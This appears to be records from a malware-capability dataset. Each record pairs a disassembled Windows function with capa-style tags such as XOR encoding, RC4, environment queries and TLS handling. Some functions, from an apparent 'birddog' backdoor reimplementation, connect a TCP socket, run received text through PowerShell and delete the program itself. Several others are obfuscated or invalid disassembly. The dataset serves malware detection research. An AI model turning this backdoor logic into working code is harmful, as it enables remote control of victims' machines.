joyce8/EMBER2024-capa huggingface dataset:
Function at 0x427416
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x43b040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0041d96a
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0041d96a
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x42748d
cmp word [ecx], dx
je 0x42748d
mov eax, dword [0x432874]
push edi
dec eax
push eax
push 0x432760
call fcn.004273b5
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x427500
cmp word [eax], dx
je 0x427500
mov eax, dword [edi]
test eax, eax
je 0x4274b1
cmp word [eax], dx
je 0x4274b1
lea eax, [ebp - 0x10]
push eax
call fcn.00426d98
jmp 0x4274ba
lea eax, [ebp - 0x10]
push eax
call fcn.00426e33
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x42752a
mov eax, dword [0x43275c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x432450
call fcn.004273b5
add esp, 0xc
test al, al
je 0x42752a
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4274f5
cmp word [eax], di
je 0x4274f5
lea eax, [ebp - 0x10]
push eax
call fcn.00426d98
pop ecx
jmp 0x42752c
lea eax, [ebp - 0x10]
push eax
call fcn.00426e33
jmp 0x4274f2
mov eax, dword [edi]
test eax, eax
je 0x427517
cmp word [eax], dx
je 0x427517
lea eax, [ebp - 0x10]
push eax
call fcn.00426d4d
pop ecx
jmp 0x42752a
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4275f5
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0042723a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4275f5
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4275f5
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4275f5
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x427582
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0041f5fd
test ebx, ebx
je 0x4275f0
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0041f5fd
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4275f5
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4275f5
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0042a871
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4275f7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c2c6
leave
ret
Function at 0x42c170
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42c19d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42c19d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x408449
Capabilities:
Encode data using xor

Disassembly:
call fcn.00408336
sub ecx, ecx
sub ecx, 0xffffffbc
call 0x408449
rcr byte [esi - 0x7f], 0x76
push cs
inc esi
mov edx, 0xee83df8c
cld
xor dword [esi + 0xe], 0xdf8cba46
sub esi, 0xfffffffc
loop 0x40844c
mov edx, 0x46df0e52
mov edx, 0x8ba356ec
dec esp
mov ebx, 0x54bceacd
adc al, 0xb6
pop es
lea edx, [edx + 0x31]
invalid

Function at 0x40ca80
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
add cl, al
loop 0x40cadb
or edx, eax
and ecx, 0xff
shl edx, 0x4a
pop ecx
add dword [ecx - 0x7a], ebp
jle 0x40cae3
add byte [ecx + 0x60244489], ch
inc esp
and al, 0x60
mov cx, word [edi + 4]
xor ebp, ebp
and ecx, 0xbb0045f8
mov bl, 0x6c
and al, 0x20
test cx, cx
jbe 0x40cb3f
mov esp, eax
les eax, [ecx]
add byte [eax], al
mov ecx, dword [esp + 0x60]
add edx, ecx
mov ecx, 7
movsx esp, byte [esi]
sub cl, byte [ebx - 0x6f517426]
sti
add byte [eax], al
mov ebx, edx
mov ebp, dword [esi + 0xfb90]
sar ebx, cl
and ebx, 1
cmp eax, 0x9c5ced0d
xor al, 0x89
pop esp
test esp, edi
jns 0x40cb10
mov ebp, dword [esp - 0x54]
xor ecx, ecx
mov cx, word [edi + 4]
inc ebp
shr ecx, 3
cmp ebp, ecx
mov dword [esp + 0x7c], ebp
jl 0x40cafb
mov ah, byte [edi]
mov edx, 0xa50007
mov bp, word [edx]
add al, 0x81
loope 0x40cb54
add byte [bx + si + 0x5a0], al
dec ecx
or ecx, 0xfffffff8
leave
clc
inc ecx
mov ebx, 0xab22
sub ebx, ecx
cmp ebx, 7
jg 0x40cba8
mov eax, edx
les eax, [ecx]
add byte [eax], al
mov ebx, dword [ebx + 0x60]
or cl, bl
movsx ebx, byte [ecx]
mov ch, byte [ebp - 0x71746c2d]
nop
add dword [eax], eax
add byte [ebx + 0x4a4001c0], al
mov ebx, dword [esp + ebx*4 + 0x31]
mov dword [ecx + eax*4 - 4], ebx
xor ecx, ecx
mov cx, word [edi - 0x15]
and ecx, 0x1a7600f0
jns 0x40cb9d
dec ecx
or ecx, 0x6f
inc ecx
mov ebx, 0x5a002c
sub ebx, dword [edi + 0x3b]
sar dword [ebp - 0x36], cl
mov edi, eax
and al, 0x30
mov esp, edi
xchg byte [eax - 0x75], ah
dec esp
and al, 0x1c
add edx, dword [ecx + 0x6621d2ad]
mov edx, dword [edi + 6]
mov dword [esp + 0x1c], ecx
cmp ecx, edx
mov dword [esp + 0x1c], ebp
leave
mov bl, 0x19
call dword [edi + ecx*2 + 0x28]
mov es, ebp
add byte [eax], al
push ebp
mov ecx, esi
leave
mov dh, 0xef
invalid
Function at 0x4240f0
Capabilities:
Encode data using xor

Disassembly:
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc2e6
mov ebx, dword ds:[esp + 0xa2cd]
mov ecx, 0xb500ab01
lea eax, [esp + 0x58]
mov dl, 0x89
insb byte es:[edi], dx
and al, 0x10
cmp dword [eax], edi
jne 0x423dd6
inc ecx
add eax, 4
adc ecx, 0xf
jbe 0x423dc9
mov eax, ecx
cmp ebp, ecx
mov dword [edi + ecx*2 + 0x14], eax
jae 0x423de6
mov dword [esp + 0x10], ecx
and ch, cl
mov edx, 0x3700000f
lea esi, [esp + 0x90]
cmp dword [eax - 0x7cb5f78b], ebx
out dx, al
invalid
sub al, 0xb
add byte [eax], dh
add byte [ecx - 0x32fcfb5a], cl
jp 0x424141
and al, 0x3c
jb 0x424157
mov ecx, dword [esp + 0x20]
mov eax, 0x9601
shl eax, cl
test edi, eax
loop 0x424118
xor edi, eax
shr eax, 1
test ecx, ebx
jne 0x424110
mov edx, dword [esp + 0x20]
mov ebp, 0x2a0000dd
mov ecx, ebx
xor edi, eax
rol dword [edi - 0x75], cl
mov word [esp + edx*4 - 0x73000000], ss
test byte [esp + edx*4 - 0x76ffff76], dl
rol ebx, cl
cmp ch, dl
and ebp, edi
adc ch, cl
je 0x424160
mov ebp, dword [esp + 0x10]
insb byte es:[edi], dx
and al, 0x10
dec edx
sub ebx, ebp
mov ebp, 0x8201
dec eax
retf
out dx, eax
cmp ebp, ecx
jne 0x42417b
mov dword [esp + 0x18], edx
mov eax, dword [esp + 0x24]
mov ebp, dword [esp + 0x10]
mov edx, eax
dec eax
mov dword [esp + 0x24], eax
loope 0x4241b5
inc esp
and al, 0x14
test dword [edx - 0x2437af1], esi
invalid
mov ecx, dword [esp - 0x74]
mov edx, dword [edx + ecx*2 + 0x1b]
add ecx, 4
inc eax
mov edi, 0x8b28244c
dec esp
and al, 0x2c
inc edx
adc cl, al
mov dword [esp + 0x14], eax
mov dword [esi], esp
and al, 0x20
movntps xmmword [eax - 0x48000003], xmm0
je 0x4241c7
inc esp
xor edi, edi
cmp esi, edi
je 0x423da6
cmp dword [esp + 0x4b], 0xffffffe9
je 0xfff43da6
in eax, dx
sti
mov cl, 0xff
sahf
ficomp word [ebp + 0x31]
in al, dx
invalid
xchg esp, eax
movsb byte es:[edi], byte [esi]
nop
nop
push edx
nop
push ebx
nop
invalid

Function at 0x429baa
Capabilities:
Encode data using xor

Disassembly:
add byte [ebx + 0x3de0d64c], cl
dec ecx
rol dword [ebp + 0x667674c9], cl
pushal
mov esp, 0x600bb24
lodsb al, byte [esi]
add byte [ebp + 0x6b], dh
mov edx, dword [esp + 0x24]
mov ebp, edi
and al, 0x74
lea eax, [esi + ebx*2]
mov edx, eax
mov esp, dword [ecx]
cmpsd dword [esi], dword es:[edi]
ret 0x548b
loop 0x429b3a
and ah, cl
add esp, esp
inc edx
push edi
fsub dword [esi - 0x77]
test byte [eax + ebx*4], ah
add byte [eax], al
add byte [ebx - 0x74c7dbbc], cl
dec esp
and al, 0x4c
push eax
cmc
test byte [ecx + ecx*8], ah
add dword [eax + eax - 0x67db6b73], ebx
add byte [eax], al
add byte [0xffa14052], ch
xchg esp, eax
and al, 0xc5
add byte [eax], al
add byte [ebx - 0x74ab19b4], cl
inc esp
and al, 0x5c
mov edi, dword [esp + 0x44]
mov eax, dword [ebp + 0x24]
cmp al, 0x8b
invalid
Function at 0x4313dd
Capabilities:
Terminate process

Disassembly:
inc esp
add byte [ebp - 0x98b40], al
shr byte [eax - 0x5c], 1
adc byte [esi + eax*8 + 0x68], al
push 0x441090
call fcn.00431491
push 0x441015
inc esp
add byte [eax], ch
mov eax, dword [0x57e80044]
add al, ch
push edi
add byte [edx - 0x15fefc00], ch
cmp dword [0x44a48c], edi
jne 0x4313fc
call dword [edi]
and al, 0xaf
call dword [0x43c1b3]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [esp + 6], 0
jns 0x43138e
xor esp, dword [esp + edx]
mov dword [0x8ca488], edi
add byte [eax + 0x44a4c531], cl
add byte [ebp - 0x27], dh
mov eax, dword [0x44bb54]
test eax, eax

Function at 0x433233
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ecx, esi
sub esp, 0x6d01c4
cmp byte [eax - 0x15], 7
Function at 0x401663
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 4], 0x40b064
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4016ae
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Failed_to_open_file:__s_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, 0
jmp 0x4017d0
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401746
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x19
mov dword [esp + 4], 1
mov dword [esp], str.Memory_allocation_failed_n
call sym._fwrite
mov eax, 0
jmp 0x4017d0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x18], eax
je 0x4017b7
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x14
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_read_file_n
call sym._fwrite
mov eax, 0
jmp 0x4017d0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x14]
leave
ret

Function at 0x4017d2
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401818
mov dword [esp], str.Socket_creation_failed
call sym._perror
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x40181d
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov word [ebp - 0x18], 2
mov eax, dword [ebp + 0x10]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x16], ax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x401889
mov dword [esp], str.Connection_failed
call sym._perror
mov dword [esp], 1
call sym._exit
nop
leave
ret
Function at 0x40188c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4018df
mov dword [esp], str.Send_failed
call sym._perror
mov dword [esp], 1
call sym._exit
nop
leave
ret

Function at 0x4018e2
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0x10]
sub eax, 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401930
mov dword [esp], str.Receive_failed
call sym._perror
mov dword [esp], 1
call sym._exit
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp + 0xc]
leave
ret

Function at 0x401957
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Executing_PowerShell_command:__s_n
call sym._printf
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.powershell.exe__Command___s_
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sym._system
nop
leave
ret

Function at 0x4019ca
Capabilities:
Execute command
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [esp], str.Terminating_program_and_deleting_itself...
call sym._puts
mov dword [esp + 0xc], str.birddog_reimplemented.c
mov dword [esp + 8], str.DEL__F__Q___s_
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sym._system
mov dword [esp], 0
call sym._exit
Function at 0x4022f0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x40233b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402334
test esi, esi
je 0x402334
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402310
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402520
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402570
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402648
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4025ae
cmp eax, 4
jne 0x4025d0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4025be
cmp edx, 4
je 0x4025be
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402520
Function at 0x402090
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x78
mov esi, esp
mov dword [esi + 8], ebp
lea eax, [ebp + 8]
mov edx, esp
mov dword [esi + 0x64], edx
mov dword [esi + 0x70], 0xffffffff
lea edx, [esi + 0x68]
mov dword [esi + 0x6c], 0x405d10
mov edi, dword fs:[0]
mov dword [esi + 0x68], edi
mov dword fs:[0], edx
mov edx, eax
add edx, 8
mov dword [esi + 0xc], edx
add eax, 0x20
mov dword [esi + 0x10], eax
mov dword [esi + 0x60], ecx
mov dword [esi + 0x5c], 0x40e8bea0
mov dword [esi + 0x58], 0
mov byte [esi + 0x57], 0
mov dword [esi + 0x4c], 0x40e00160
mov dword [esi + 0x48], 0
mov dword [esi + 0x44], 0x107c
mov dword [esi + 0x3c], 0x40f47240
mov dword [esi + 0x38], 0
mov dword [esi + 0x34], 0x40d37500
mov dword [esi + 0x30], 0
mov dword [esi + 0x70], 1
mov eax, esp
mov dword [eax], str.kiskcurkkgxmfmanlrkqfqqrnesraogndtxowjqopaearbvffpmybtvxqkofvkyaxpxenwwppnruidbpmtpeqszfsnygfd
lea ecx, [esi + 0x18]
call fcn.00405d70
sub esp, 4
jmp 0x40213e
mov dword [esi + 0x14], 0x60
cmp dword [esi + 0x14], 0
jle 0x40215d
mov eax, dword [esi + 0x14]
add eax, 0xffffffff
mov dword [esi + 0x14], eax
jmp 0x402145
lea ecx, [esi + 0x18]
call fcn.00405e30
mov ecx, dword [esi + 0xc]
call fcn.00405e30
mov ecx, dword [esi + 0x10]
call fcn.00405e30
mov eax, dword [esi + 0x68]
mov dword fs:[0], eax
fld dword [0x423218]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0x50
Function at 0x402ce0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
inc esi
rcr edi, 0x79
imul edi
bswap eax
mov edi, 0x68
imul edx
and edi, 0xd3
imul eax
imul edi
sbb edx, 0x3b
or edx, 0x29
rcr ebx, 0x3d
rol ebx, 0xf5
not esi
imul edx
imul esi
ror eax, 0x87
ror edx, 6
inc esi
dec esi
not edi
sbb edx, 0x53
not edx
dec esi
bswap esi
not eax
rcr edx, 0xbb
mov ebx, 0x1d
not ebx
rol edx, 0x78
ror edi, 0x89
or ebx, 0x6d
ror edx, 0x3b
imul eax
imul ebx
inc ebx
inc edi
or esi, 0x92
ror edx, 0x82
mov edi, 0xf5
not edx
rol edx, 0xd2
dec edx
ror eax, 0x16
and edi, 0x25
add eax, 0x62
inc eax
and eax, 0xc7
add eax, 0xf3
bswap eax
xor ecx, ecx
xor edi, edi
sbb eax, 0xfa
ror ebx, 0x59
ror edx, 0xf6
not edi
add eax, 0xbf
ror eax, 0xbd
ror edx, 0x1e
neg eax
sub eax, 0xa9
mov edi, 0xc0
neg esi
rcl edx, 0xc7
rcr edi, 0x39
not edx
and ebx, 0xb1
bswap edi
dec edi
ror edi, 0x25
and ebx, 0xc8
rcl ebx, 0x65
rol esi, 0xe
imul ebx
imul ebx
rcr edx, 0x2e
bswap eax
dec esi
or esi, 0xe9
or edi, 8
dec ebx
inc eax
and esi, 0xab
or ebx, 0x10
not eax
rcl ebx, 0x16
inc eax
inc edi
dec edi
bswap ebx
inc ebx
mov esi, 0x60
neg ebx
ror eax, 0xc0
rol ebx, 0x7b
not ebx
neg esi
rol esi, 0x30
and edi, 0x4e
sub edi, 0x55
dec eax
not edx
mov ecx, dword [ebp + 0xc]
bswap esi
rcr edi, 0xe5
neg ebx
inc edi
rol esi, 3
ror edx, 0xfb
neg edi
imul eax
sub edi, 0x4f
and eax, 0xa3
rol edi, 6
and edi, 0xc8
bswap edi
bswap edi
sbb eax, 0x84
not eax
not esi
bswap eax
neg edx
add edx, 0xb0
rcl edx, 0xfd
rcl edx, 0x51
dec edx
dec eax
or edx, 0xa2
ror esi, 0x21
rcl ebx, 0x9e
mov edx, 0xd5
mov ebx, 0xfe
ror ebx, 0x52
inc ebx
sub ebx, 0x70
dec ebx
sbb ebx, 0x9e
mov eax, 0x5f
rcr edi, 6
mov ebx, 0xb9
dec eax
inc ebx
inc eax
and esi, 0xf5
neg eax
sub edi, 0x94
bswap edi
or edi, 0x60
dec ebx
and eax, 0xa8
sbb eax, 0x9e
rcr edi, 0xdc
and edx, 0x8e
mov edi, dword [ebp + 8]
xor ebx, esi
mov eax, eax
mov ebx, esi
xor ebx, eax
mov esi, eax
mov eax, esi
mov eax, eax
mov esi, ebx
xor eax, esi
mov esi, esi
xor eax, eax
xor ebx, ebx
not byte [edi]
mov eax, esi
mov esi, esi
xor esi, esi
mov esi, esi
xor eax, esi
xor eax, esi
mov esi, ebx
xor eax, ebx
xor eax, eax
add byte [edi], 0x26
xor ebx, ebx
xor ebx, eax
mov ebx, esi
xor esi, esi
mov eax, esi
xor esi, ebx
xor ebx, eax
xor ebx, eax
mov esi, esi
sub byte [edi], 0x87
xor ebx, eax
mov esi, ebx
mov ebx, ebx
mov ebx, ebx
mov esi, esi
mov eax, eax
xor ebx, esi
xor eax, ebx
mov ebx, eax
imul byte [edi]
inc edi
loop 0x402eaa
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4170ed
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41718a
push ebx
push esi
call fcn.004170b6
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041704a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x417137
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x417189
push edi
push eax
call fcn.00415dbb
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x417157
call fcn.00415e09
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x417188
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041704a
add esp, 0x20
test eax, eax
jne 0x417176
push edi
call fcn.00415e09
jmp 0x41717e
push ebx
call fcn.00415e09
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4179be
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4b9ce0
push 0x4b9cd8
push str.FlsAlloc
push 0x1f
call fcn.00417829
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4179f2
push dword [ebp + 8]
mov ecx, esi
call dword [0x423160]
call esi
jmp 0x4179f8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x417a3c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4b9cf0
push 0x4b9ce8
push str.FlsGetValue
push 0x21
call fcn.00417829
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417a73
push dword [ebp + 8]
mov ecx, esi
call dword [0x423160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x417a7b
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4b9cf8
push 0x4b9cf0
push str.FlsSetValue
push 0x22
call fcn.00417829
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417ab5
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x423160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]

Function at 0x41a887
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00415ad0
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41a8f6
cmp esi, dword [ebp - 4]
je 0x41a8f1
cmp dword [ebp + 0xc], 0
je 0x41a8f1
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x41a8ce
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0041a3d9
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x41a8f8
xor eax, eax
inc eax
jmp 0x41a8f8
xor eax, eax
pop edi
pop esi
leave
ret